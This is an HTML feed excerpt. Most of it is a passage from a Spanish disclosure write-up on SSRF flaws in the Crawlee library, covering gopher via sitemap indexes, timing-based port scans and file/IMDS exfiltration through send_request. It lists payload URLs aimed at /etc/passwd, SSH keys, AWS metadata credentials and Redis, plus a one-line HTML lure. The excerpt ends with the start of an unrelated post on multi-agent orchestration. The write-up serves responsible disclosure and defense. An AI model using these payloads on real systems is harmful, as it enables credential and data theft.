    &lt;span class="n"&gt;loader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SitemapRequestLoader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;sitemap_urls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;sitemap_urls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;http_client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;http_client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;request_manager&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;loader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_tandem&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="n"&gt;crawler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;HttpCrawler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;request_manager&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;request_manager&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;http_client&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;http_client&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nd"&gt;@crawler.router.default_handler&lt;/span&gt;
    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;HttpCrawlingContext&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;http_response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;preview&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;isinstance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;bytearray&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)[:&lt;/span&gt;&lt;span class="mi"&gt;120&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;info&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;URL: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | bytes: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; | preview: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;preview&lt;/span&gt;&lt;span class="si"&gt;!r}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;crawler&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  El detalle que hace que esto sea bonito
&lt;/h3&gt;

&lt;p&gt;Hay dos cosas que merece la pena entender de este caso, porque son las que separan un SSRF aburrido de uno que da gusto:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;El esquema lo elige el atacante, no la libreria.&lt;/strong&gt; En &lt;code&gt;&amp;lt;urlset&amp;gt;&amp;lt;url&amp;gt;&amp;lt;loc&amp;gt;&lt;/code&gt; (las URLs "finales" del sitemap, las que terminan en la cola del crawler) si hay validacion: Crawlee construye un objeto &lt;code&gt;Request&lt;/code&gt; y rechaza esquemas que no sean http/https. Pero en &lt;code&gt;&amp;lt;sitemapindex&amp;gt;&amp;lt;sitemap&amp;gt;&amp;lt;loc&amp;gt;&lt;/code&gt; (las URLs "intermedias", las que apuntan a sub-sitemaps) &lt;strong&gt;no se construye ningun &lt;code&gt;Request&lt;/code&gt;&lt;/strong&gt;. Por ahi se cuela el gopher.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;No hace falta que la victima haga nada raro.&lt;/strong&gt; Esto es lo que mas me gusto. La configuracion vulnerable es &lt;strong&gt;literalmente&lt;/strong&gt; el ejemplo de &lt;code&gt;using_sitemap_request_loader.py&lt;/code&gt; que aparece en la documentacion oficial. Solo cambia el cliente HTTP a &lt;code&gt;CurlImpersonateHttpClient&lt;/code&gt; (que es la opcion recomendada para sites que detectan bots). Cero codigo "incorrecto" del lado de la victima.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Y todavia mejor: aunque el atacante &lt;strong&gt;no vea la respuesta del servicio interno&lt;/strong&gt; (esto es blind, recordad), el tiempo que tarda cada llamada en fallar/responder le permite enumerar puertos por timing. &lt;code&gt;RST&lt;/code&gt; rapido = puerto cerrado. &lt;code&gt;timeout&lt;/code&gt; largo = puerto filtrado por firewall (suelen por defecto hacer DROP silencioso). Latencia media consistente = puerto abierto. Con eso reconstruye el mapa entero de servicios internos del crawler &lt;strong&gt;antes&lt;/strong&gt; de lanzar nada destructivo.&lt;/p&gt;




&lt;h2&gt;
  
  
  Caso 2 — La busqueda de exfiltracion
&lt;/h2&gt;

&lt;p&gt;Ahora queda lo mas complicado. Podemos mandar informacion arbitraria a servicios locales. Pero &lt;strong&gt;no podemos recibir nada todavia&lt;/strong&gt;. ¿No?&lt;/p&gt;

&lt;p&gt;Bueno, esta claro que con tantas opciones disponibles algo habra. Estuve barajando varias opciones durante horas de dolores de cabeza...&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;XXE en el parser de sitemaps.&lt;/strong&gt; Crawlee usa &lt;code&gt;xml.sax.expatreader&lt;/code&gt; directamente, sin &lt;code&gt;defusedxml&lt;/code&gt;. Pense que tal vez podia colar entidades externas y leer ficheros locales por ahi. Pero el parser de sitemaps esta acotado a procesar &lt;code&gt;&amp;lt;loc&amp;gt;&lt;/code&gt;, las entidades expandidas no terminan en ningun output que vuelva al atacante. Descartado para exfiltracion (queda como posible DoS, pero eso no era lo que buscaba).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Infiltrar un sitemap.xml en el filesystem de la victima.&lt;/strong&gt; Pense en aprovechar &lt;code&gt;file:///var/www/html/sitemap.xml&lt;/code&gt; o algo similar. Pero claro, ¿de que me sirve? Si hay un servidor local sirviendolo, ya lo alcanzo con un HTTP plano a localhost. &lt;strong&gt;No gano nada.&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;FTP.&lt;/strong&gt; De repente mi cabeza hizo clic. ¡FTP! Pero como &lt;strong&gt;no puedo controlar la redireccion del flujo de datos hacia un fichero&lt;/strong&gt; de ninguna manera, no puedo descargar ni subir. Para eso harian falta flags especificas en curl que crawlee no expone. Otro callejon sin salida.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;La idea del FTP a un sitemap.&lt;/strong&gt; Tampoco serviria de nada por la misma razon: necesito que la respuesta vuelva, no solo que la conexion ocurra.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So la cosa es que para usar esquemas raros solo puedo usar el cliente &lt;code&gt;curl-impersonate&lt;/code&gt;. Pero &lt;code&gt;curl-impersonate&lt;/code&gt; &lt;strong&gt;valida esquema igual que los demas&lt;/strong&gt; cuando lee las URLs finales (&lt;code&gt;&amp;lt;url&amp;gt;&amp;lt;loc&amp;gt;&lt;/code&gt;) de un sitemap (estas si pasan por &lt;code&gt;Request.from_url&lt;/code&gt;). Da igual si le traigo el &lt;code&gt;&amp;lt;url&amp;gt;&lt;/code&gt; por gopher, si la URL final es &lt;code&gt;file://&lt;/code&gt; se cae.&lt;/p&gt;

&lt;p&gt;Para que se vea todos los pensamientos que he tenido... incluso pense que tal vez en el navegador (playwright) si podriamos hacerlo (con alguna redireccion 302). Pero tampoco. Desde 2021, la &lt;strong&gt;mayoria de navegadores desactivaron estos protocolos&lt;/strong&gt; excepto file y algunos mas que no nos interesan (excepto ws para recon posiblemente), pero este esta demasiado limitado.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Me vine abajo.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf25nz3qq43oyel8meje.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Faf25nz3qq43oyel8meje.gif" alt=" " width="540" height="540"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Pero no todo cuento acaba tan mal...
&lt;/h3&gt;

&lt;p&gt;Donde si existe una "vulnerabilidad" — que no es tan bonita es en &lt;strong&gt;&lt;code&gt;context.send_request&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;send_request&lt;/code&gt; es la funcion que la documentacion oficial te recomienda para "extraer una URL del HTML que estas crawleando y hacerle una peticion secundaria". Es decir, el patron es: el handler coge un &lt;code&gt;&amp;lt;a href="..."&amp;gt;&lt;/code&gt; de la pagina y se lo pasa a &lt;code&gt;send_request&lt;/code&gt;. Y resulta que &lt;code&gt;send_request&lt;/code&gt; &lt;strong&gt;no valida esquema&lt;/strong&gt;. La string viaja cruda al cliente HTTP.&lt;/p&gt;

&lt;p&gt;Y aqui &lt;strong&gt;SI TENEMOS EXFILTRACION DE DATOS&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Ya no da error al parsear, ya no es blind. Es exfiltracion completa. La respuesta vuelve como bytes al handler, y el patron canonico (que es exactamente el que la doc recomienda) la persiste en el dataset via &lt;code&gt;push_data&lt;/code&gt;. El atacante luego lee el dataset y se lleva lo que quiera.&lt;/p&gt;

&lt;p&gt;¿Que se puede leer?&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;file:///etc/passwd&lt;/code&gt;&lt;/strong&gt;, &lt;code&gt;file:///proc/self/environ&lt;/code&gt;, &lt;code&gt;file:///root/.ssh/id_rsa&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;&lt;/strong&gt;. IMDS de AWS, credenciales de la maquina. (aws ya ha mitigado esto parcialmente en su imds v2)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;gopher://localhost:6379/_INFO%0D%0A&lt;/code&gt;&lt;/strong&gt;. Dump completo de Redis, &lt;strong&gt;incluyendo los datos&lt;/strong&gt;, ya no solo el side effect.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;El payload del lado del atacante es ridiculo. Una pagina HTML con un solo enlace:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;a&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"api-link"&lt;/span&gt; &lt;span class="na"&gt;href=&lt;/span&gt;&lt;span class="s"&gt;"file:///etc/passwd"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;x&lt;span class="nt"&gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Osea&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyw5hergophjvyoiwdq5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyw5hergophjvyoiwdq5.png" alt=" " width="476" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Y el handler "vulnerable" es &lt;strong&gt;literalmente&lt;/strong&gt; el ejemplo de las guias de &lt;em&gt;Error handling&lt;/em&gt; y &lt;em&gt;Session management&lt;/em&gt; de la documentacion oficial:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;api_url&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;selector&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;css&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;a.api-link::attr(href)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;resp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;resp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;push_data&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;data&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lo considero exfiltracion porque crawlee es una libreria, y por tanto se le puede dar el uso que el desarrollador quiera. &lt;strong&gt;No esta diseñada para acceder a servicios gopher&lt;/strong&gt; (eso se escapa de su scope), y probablemente tampoco a servicios internos. Si una persona la usara para hacer algun tipo de SaaS que devuelva informacion de una web (que es exactamente lo que hacen muchas plataformas que la usan), se podria exfiltrar informacion sensible del backend del propio SaaS.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;No voy a realizar este POC&lt;/strong&gt; ya que oficialmente se reporta sobre todo el primer finding, y estos dos ultimos como colaterales / mejoras de documentacion y de codigo. La idea del reporte es que el mantenedor decida la severidad, y meterles cuatro POCs encima me parece pasarme. Pero si quieres reproducirlo en tu propio entorno controlado, con el patron de arriba y un servidor que sirva una pagina con el &lt;code&gt;&amp;lt;a href="file:///..."&amp;gt;&lt;/code&gt;, lo tienes en cinco minutos.&lt;/p&gt;




&lt;h2&gt;
  
  
  Caso 3 — SSRF directo via crawl, sin trucos
&lt;/h2&gt;

&lt;p&gt;Este es el caso &lt;strong&gt;mas tonto&lt;/strong&gt; y el que afecta a todos los backends por igual. No requiere sitemap, no requiere &lt;code&gt;send_request&lt;/code&gt;, no requiere &lt;code&gt;curl-impersonate&lt;/code&gt;. Resulta que &lt;strong&gt;Crawlee no valida hosts&lt;/strong&gt;. Punto. Si la URL es HTTP/HTTPS valida (passa &lt;code&gt;Request.from_url&lt;/code&gt;), el crawler la fetcha. No hay denylist de loopback, no hay filtro de RFC1918, no hay filtro de IMDS, no hay nada.&lt;/p&gt;

&lt;h3&gt;
  
  
  Donde se nota esto
&lt;/h3&gt;

&lt;p&gt;La mayoria de gente que usa Crawlee no lo usa standalone. Lo integra en un SaaS, en una API, en una pipeline donde &lt;strong&gt;el usuario final puede influir en que URLs se crawlean&lt;/strong&gt;. Algunos patrones reales:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;SaaS de monitoreo de webs&lt;/strong&gt; donde el usuario mete la URL que quiere que se monitorice.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Crawler que sigue links extraidos del HTML&lt;/strong&gt; — el atacante mete un &lt;code&gt;&amp;lt;a href="http://127.0.0.1:6379"&amp;gt;&lt;/code&gt; en su pagina y se cuela en la cola del crawler.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Pipeline que crawlea URLs de un dataset externo&lt;/strong&gt; — cualquiera que pueda añadir filas al dataset puede inyectar URLs internas.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;En todos estos casos, si el atacante consigue meter una URL apuntando a una IP privada — &lt;code&gt;http://127.0.0.1:8080/admin&lt;/code&gt;, &lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;, &lt;code&gt;http://10.0.0.5/internal-api/&lt;/code&gt; — Crawlee la fetcha y la respuesta vuelve al handler. &lt;strong&gt;Exfil de servicios HTTP internos sin auth&lt;/strong&gt;: paneles admin, IMDS, APIs internas, banners de Redis-sobre-HTTP, todo accesible.&lt;/p&gt;

&lt;h3&gt;
  
  
  El argumento "es por diseño"
&lt;/h3&gt;

&lt;p&gt;Alguien podria defender que esto es "comportamiento por diseño" de la libreria, que un crawler &lt;strong&gt;debe poder&lt;/strong&gt; fetchar cualquier URL que le pases. Vale, es defendible. Pero entonces la libreria tendria que estar &lt;strong&gt;explicitamente cerrada a produccion&lt;/strong&gt; y decirlo en negrita en cada pagina de la documentacion. Una libreria que se integra en SaaS &lt;strong&gt;no puede asumir que las URLs son confiables&lt;/strong&gt;, y ahora mismo no advierte de esto en ningun sitio.&lt;/p&gt;

&lt;p&gt;Y otro detalle que vale la pena dejar dicho: aunque ahora mismo el alcance esta limitado a HTTP/HTTPS (porque los seeds y los &lt;code&gt;enqueue_links&lt;/code&gt; pasan por &lt;code&gt;Request.from_url&lt;/code&gt;), &lt;strong&gt;historicamente han existido bypasses para llamar a servicios TCP via HTTP&lt;/strong&gt;. SMTP-over-HTTP, smuggling de protocolos, request line injection, CRLF en headers... la charla de OrangeTsai que cite al principio cubre varios. Mientras Crawlee no añada un filtro de host, esa linea de defensa-en-profundidad simplemente no existe.&lt;/p&gt;

&lt;h2&gt;
  
  
  Funciona con &lt;code&gt;httpx&lt;/code&gt;, &lt;code&gt;impit&lt;/code&gt; y &lt;code&gt;curl-cffi&lt;/code&gt; por igual. Es el caso &lt;strong&gt;mas universal y mas facil de explotar&lt;/strong&gt; — basta con un input de URL en el SaaS de la victima.
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F72yp8gqyewlou3gpx5qh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F72yp8gqyewlou3gpx5qh.png" alt=" " width="800" height="447"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Reflexion
&lt;/h2&gt;

&lt;p&gt;La raiz del problema es la misma en los tres casos. Existe &lt;strong&gt;una unica funcion&lt;/strong&gt; en toda la libreria que valida URLs (&lt;code&gt;Request.from_url&lt;/code&gt;, via &lt;code&gt;pydantic.AnyHttpUrl&lt;/code&gt;). Y esa funcion no se llama desde:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Las URLs anidadas de un sitemap-index.&lt;/li&gt;
&lt;li&gt;Las directivas &lt;code&gt;Sitemap:&lt;/code&gt; de un &lt;code&gt;robots.txt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;El &lt;code&gt;Location:&lt;/code&gt; header de los redirects.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;context.send_request&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;http_client.send_request&lt;/code&gt; en general.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;El contrato de validacion existe &lt;strong&gt;solo en un sitio&lt;/strong&gt; y todos los demas call-sites lo asumen sin re-aplicarlo. Es el patron clasico de "alguien ya lo ha validado antes" que en realidad nunca se ha validado.&lt;/p&gt;

&lt;p&gt;El fix es trivial: &lt;strong&gt;aplicar la validacion en la frontera del cliente HTTP&lt;/strong&gt;, no en la frontera del objeto &lt;code&gt;Request&lt;/code&gt;. Una sola linea (&lt;code&gt;validate_http_url&lt;/code&gt;) en &lt;code&gt;send_request&lt;/code&gt; y &lt;code&gt;stream&lt;/code&gt; del cliente cierra los tres casos de golpe. Por eso me parece tan bonita y tan tonta la vulnerabilidad: es un error de capa, no de codigo.&lt;/p&gt;

&lt;p&gt;Las validaciones bonitas y los &lt;code&gt;pydantic&lt;/code&gt; en el sitio "obvio" te hacen bajar la guardia en los call-sites de detras. Y los protocolos viejos que todo el mundo daba por muertos (gopher, file, dict) siguen ahi, esperando a que alguien los pase como string a libcurl.&lt;/p&gt;

&lt;p&gt;Si llegaste hasta aqui, gracias por leer. El reporte completo ya esta en manos del mantenedor de Apify.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpd54ao0bv1apsslbn3a0.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpd54ao0bv1apsslbn3a0.jpg" alt=" " width="800" height="437"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>spanish</category>
      <category>webscraping</category>
    </item>
    <item>
      <title>Orquestacion multiagente con Openclaw dockerizada.</title>
      <dc:creator>arturo melgarejo</dc:creator>
      <pubDate>Fri, 17 Apr 2026 19:50:22 +0000</pubDate>
      <link>https://forem.com/arturo0x90/orquestacion-multiagente-con-openclaw-dockerizada-5h1b</link>
      <guid>https://forem.com/arturo0x90/orquestacion-multiagente-con-openclaw-dockerizada-5h1b</guid>
      <description>&lt;h1&gt;
  
  
  Orquestacion multiagente con Openclaw dockerizada.
&lt;/h1&gt;

&lt;p&gt;&lt;a href="https://github.com/Arturo0x90/OpenClawMultiAgent" rel="noopener noreferrer"&gt;&lt;code&gt;Enlace a GitHub&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;— Un panel de control que gestiona agentes con OpenClaw separados en contenedores Docker por "departamentos", les deja delegarse tareas entre ellos, y mantiene un &lt;strong&gt;contexto compartido&lt;/strong&gt; persistido en base de datos para que no se pierdan en la conversación. En este post enseño como funciona el panel y un poco la logica:&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  La idea
&lt;/h2&gt;

&lt;p&gt;Cuando OpenClaw estaba todavía en pañales y Paperclip ni existía, se me ocurrió una idea que no me dejaba tranquilo: &lt;strong&gt;¿y si los agentes pudieran hablarse entre ellos de forma estandarizada, con un contexto compartido, como si fueran un equipo de verdad?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;De ahí salió este último repo que acabo de subir a GitHub. En resumen, es un software que &lt;strong&gt;orquesta agentes, los separa en contenedores Docker y les da una capa de comunicación + delegación de tareas con contexto común&lt;/strong&gt;. En este post te enseño de lo que es capaz.&lt;/p&gt;




&lt;h2&gt;
  
  
  El Control Room
&lt;/h2&gt;

&lt;p&gt;Asumiendo que ya lo tienes todo configurado y corriendo — mínimo uno o más contenedores de &lt;code&gt;AGENTE_MCP_API_V2&lt;/code&gt; (sí, horrible el nombre de la carpeta, lo asumo) y un servidor — al entrar te recibe esto:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftfk07zupidhml1xrxig8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftfk07zupidhml1xrxig8.png" alt="Control Room — vista general del panel" width="800" height="384"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Te dejo una mini leyenda para que te orientes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;🔴 &lt;strong&gt;En rojo&lt;/strong&gt; — el indicador de si el panel se está comunicando con la API. Si pone &lt;strong&gt;CONECTADO&lt;/strong&gt;, todo ok (o minimo la conexion con el contenedor de la api)&lt;/li&gt;
&lt;li&gt;🔵 &lt;strong&gt;En azul&lt;/strong&gt; — un preview en tiempo real de los agentes que están trabajando. Ojo al detalle: si a un agente se le &lt;strong&gt;ilumina la cabeza con una lucecita&lt;/strong&gt;, es que está procesando algo (tiene tareas pendientes).&lt;/li&gt;
&lt;li&gt;🟡 &lt;strong&gt;En amarillo&lt;/strong&gt; — el contador de agentes y de departamentos que tienes activos.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
